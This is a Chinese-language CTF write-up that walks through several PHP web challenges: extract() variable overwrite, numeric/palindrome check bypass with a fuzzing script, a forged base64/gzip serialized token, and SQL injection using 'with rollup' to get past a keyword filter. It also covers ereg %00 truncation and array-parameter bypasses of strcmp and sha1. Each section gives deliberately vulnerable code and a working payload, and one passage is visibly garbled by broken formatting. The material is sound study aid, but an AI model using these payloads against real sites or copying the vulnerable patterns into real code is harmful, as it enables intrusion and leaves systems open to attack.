extract变量覆盖
了解PHP extract函数点我 贴段代码:
<?php
$flag='xxx';
extract($_GET);
if(isset($shiyan))
{
$content=trim(file_get_contents($flag));
if($shiyan==$content)
{
echo'ctf{xxx}';
}
else
{
echo'Oh.no';
}
}
?>
trim()函数为去首位空字符 file_get_contents()函数将一个文件读入一个字符串中
- 有一个变量flag=‘xxx’; extract通过GET传入一个数组,将键名变为变量名,键值变为变量值
isset($shiyan) 判断是否有这个变量,如果有,就将flag变量里面的值去首尾空后赋值给$content - 之后再判断
$shiyan 和$content 是否相等,若相等,输出flag - 这里如果
flag 传入的GET传入的值如果不为文件名,$content 就一直为空,我们可以使得shiyan 为空,则flag 就可以为任意值 构造payload:
?shiyan=&flag=1
//两个变量作为一个数组被GET接收
绕过过滤的空白字符
贴代码:
<?php
$info = "";
$req = [];
$flag="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx";
ini_set("display_error", false);
error_reporting(0);
if(!isset($_GET['number'])){
header("hint:26966dc52e85af40f59b4fe73d8c323a.txt");
die("have a fun!!");
}
foreach([$_GET, $_POST] as $global_var) {
foreach($global_var as $key => $value) {
$value = trim($value);
is_string($value) && $req[$key] = addslashes($value);
}
}
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
if(is_numeric($_REQUEST['number']))
{
$info="sorry, you cann't input a number!";
}
elseif($req['number']!=strval(intval($req['number'])))
{
$info = "number must be equal to it's integer!! ";
}
else
{
$value1 = intval($req["number"]);
$value2 = intval(strrev($req["number"]));
if($value1!=$value2){
$info="no, this is not a palindrome number!";
}
else
{
if(is_palindrome_number($req["number"])){
$info = "nice! {$value1} is a palindrome number!";
}
else
{
$info=$flag;
}
}
}
echo $info;
通过代码审计之后:(需要满足这三个条件)
is_numeric()函数和req[‘number’]!=strval(intval(req[‘number’]))
v
a
l
u
e
1
=
i
n
t
v
a
l
(
value1 = intval(
value1=intval(req[“number”]);
v
a
l
u
e
2
=
i
n
t
v
a
l
(
s
t
r
r
e
v
(
value2 = intval(strrev(
value2=intval(strrev(req[“number”])); //strrev --将字符反转 if(
v
a
l
u
e
1
!
=
value1!=
value1!=value2){ $info=“no, this is not a palindrome number!”; }
if(is_palindrome_number($req[“number”]))
法一
可以引入\f(%0c)在数字前面,来绕过is_palindrome_number 函数,至于前面数字的判断,因为is_numeric()函数 和intval 都会忽略这个字符,所以不会影响 而第一个条件的解决方案有两种: 1.可以通过%00数字前后都可以和%20只能在数字后面 2.再POST一个number参数将GET中的给覆盖掉 则可以构造payload:
?number=%00%0C191
法二
Fuzzing思路 ?number=%00%2B191 %2B解析后为“+”; +191==191;intval(‘191+’)==191 可以简化代码为:
<?php
function is_palindrome_number($number) {
$number = strval($number);
$i = 0;
$j = strlen($number) - 1;
while($i < $j) {
if($number[$i] !== $number[$j]) {
return false;
}
$i++;
$j--;
}
return true;
}
$a = trim($_GET['number']);
var_dump(($a==strval(intval($a)))&(intval($a)==intval(strrev($a)))&!is_palindrome_number($a))
?>
进行Fuzzing
import requests
for i in range(256) :
respond = requests.get("http://127.0.0.1/2.php/index.php?number=%s191"%("%%%02X"%i))
if '1' in respond.text :
print("%%%02X"%i)
结果如下:
%0C
%2B
多重加密
老规矩 --贴代码
<?php
include 'common.php';
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
class db
{
public $where;
function __wakeup()
{
if(!empty($this->where))
{
$this->select($this->where);
}
}
function select($where)
{
$sql = mysql_query('select * from user where '.$where);
return @mysql_fetch_array($sql);
}
}
if(isset($requset['token']))
{
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$db = new db();
$row = $db->select('user=\''.mysql_real_escape_string($login['user']).'\'');
if($login['user'] === 'ichunqiu')
{
echo $flag;
}else if($row['pass'] !== $login['pass']){
echo 'unserialize injection!!';
}else{
echo "(╯‵□′)╯︵┴─┴ ";
}
}else{
header('Location: index.php?error=1');
}
?>
通过代码审计可以看到
if($login['user'] === 'ichunqiu')
{
echo $flag;
$login = unserialize(gzuncompress(base64_decode($requset['token'])));
$requset = array_merge($_GET, $_POST, $_SESSION, $_COOKIE);
这就是加密的过程,我们可以反向解密 构造php代码,生成token得到flag
$a = array('user'=>'ichunqiu');
$b = base64_encode(gzcompress(serialize($a)));
print_r($b);
得到token
eJxLtDK0qi62MrFSKi1OLVKyLraysFLKTM4ozSvMLFWyrgUAo4oKXA==
SQL注入-with rollup绕过
贴代码:
<?php
error_reporting(0);
if (!isset($_POST['uname']) || !isset($_POST['pwd'])) {
echo '<form action="" method="post">'."<br/>";
echo '<input name="uname" type="text"/>'."<br/>";
echo '<input name="pwd" type="text"/>'."<br/>";
echo '<input type="submit" />'."<br/>";
echo '</form>'."<br/>";
echo '<!--source: source.txt-->'."<br/>";
die;
}
function AttackFilter($StrKey,$StrValue,$ArrReq){
if (is_array($StrValue)){
$StrValue=implode($StrValue);
}
if (preg_match("/".$ArrReq."/is",$StrValue)==1){
print "水可载舟,亦可赛艇!";
exit();
}
}
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
foreach($_POST as $key=>$value){
AttackFilter($key,$value,$filter);
}
$con = mysql_connect("XXXXXX","XXXXXX","XXXXXX");
if (!$con){
die('Could not connect: ' . mysql_error());
}
$db="XXXXXX";
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) {
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}
mysql_close($con);
?>
根据代码审计之后可以知道有三个绕过
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)";
if (mysql_num_rows($query) == 1)
if($key['pwd'] == $_POST['pwd'])
第一个条件,我们可以直接不适用关键词即可 第二个条件,返回结果只能有一条,我们来测试用户人数,但是上面的关键词, 又被过滤了,我们可以考虑使用limit y offset x 来判断人数 PS: SQL查询语句中limit和offset的区别 limit y分句表示:读取y条数据 limit x,y分句表示:跳过x条数据,读取y条数据 limit y offset x分句表示:跳过x条数据,读取y条数据
这里我们可以一个一个的尝试: 1’ or 1=1 limit 1 offset 0# - - - 返回亦可赛艇 - - -用户数为1 1’ or 1=1 limit 1 offset 1# - - - 返回亦可赛艇 - - -用户数为2 1’ or 1=1 limit 1 offset 2# - - - 返回一颗赛艇 - - - 没有第三个用户 推出只有两个用户
第三个条件,输入的密码的值要和数据库中的密码一样 这里可以用语句 group by pwd with rollup (分组后会多一行进行统计) 由于对字符串统计无效的第三行的pwd结果是NULL这样就可以绕过最后一个if语句了 构造payload :
?uname=1' or 1=1 group by pwd with rollup limit 1 offset 2#
就不需要输入密码了,让密码为NULL
ereg正则%00截断
上代码:
<?php
$flag = "flag";
if (isset ($_GET['password']))
{
if (ereg ("^[a-zA-Z0-9]+$", $_GET['password']) === FALSE)
{
echo '<p>You password must be alphanumeric</p>';
}
else if (strlen($_GET['password']) < 8 && $_GET['password'] > 9999999)
{
if (strpos ($_GET['password'], '*-*') !== FALSE)
{
die('Flag: ' . $flag);
}
else
{
echo('<p>*-* have not been found</p>');
}
}
else
{
echo '<p>Invalid password</p>';
}
}
?>
经过代码审计后发现需要三个条件:
ereg ("^[a-zA-Z0-9]+$", $_GET['password']) !==FALSE 即代表传入的password只能是0-9的数字和大小写的a-z的字母strlen($_GET['password']) < 8 && $_GET['password'] > 9999999 即表示长度小于8且password的值要大于9999999strpos ($_GET['password'], '*-*') !== FALSE 即表示password中需要包含*-* 这个字符
方法一:传入数组 ereg()函数和strpos()函数的参数不能够是数组,将会返回NULL,而且null!==FALSE,成功绕过 又因为数组的值比数字的值大,即条件二成功绕过 构造payload :
?password[]=1
方法二:%00截断 ereg()函数在遇到%00的时候就会停止 绕过条件二只需要利用科学计数法 例如 10的7次方=> 1e7 条件三那就更简单了,直接在后面加一个字符就好了 构造payload :
?password=1e7%00*-*
注意strpos函数大小写敏感
strcmp比较字符串
上代码:
<?php
$flag = "flag";
if (isset($_GET['a'])) {
if (strcmp($_GET['a'], $flag) == 0)
die('Flag: '.$flag);
else
print 'No';
}
?>
这里就是一个简单的绕过strcmp()函数 这个函数在php5.3之前的版本中如果参数是不合法的值,函数将会报错而且会return 0 导致虽然报错但是刚好绕过了strcmp()函数 当然后面修复了这个漏洞,只报错,不返回值
我们可以传入数组参数,strcmp函数会返回NULL,但是根据php弱类型,NULL==0 构造payload:
?a[]=1
sha()函数比较绕过
代码:
<?php
$flag = "flag";
if (isset($_GET['name']) and isset($_GET['password']))
{
if ($_GET['name'] == $_GET['password'])
echo '<p>Your password can not be your name!</p>';
else if (sha1($_GET['name']) === sha1($_GET['password']))
die('Flag: '.$flag);
else
echo '<p>Invalid password.</p>';
}
else
echo '<p>Login first!</p>';
?>
=== 这个判断符号除了判断大小还会判断类型 比如sha()和md5()存在漏洞 sha1()默认传入的是字符串,我们传入数组他就会报错返回false 构造payload:
?name[]=1&password[]=2
|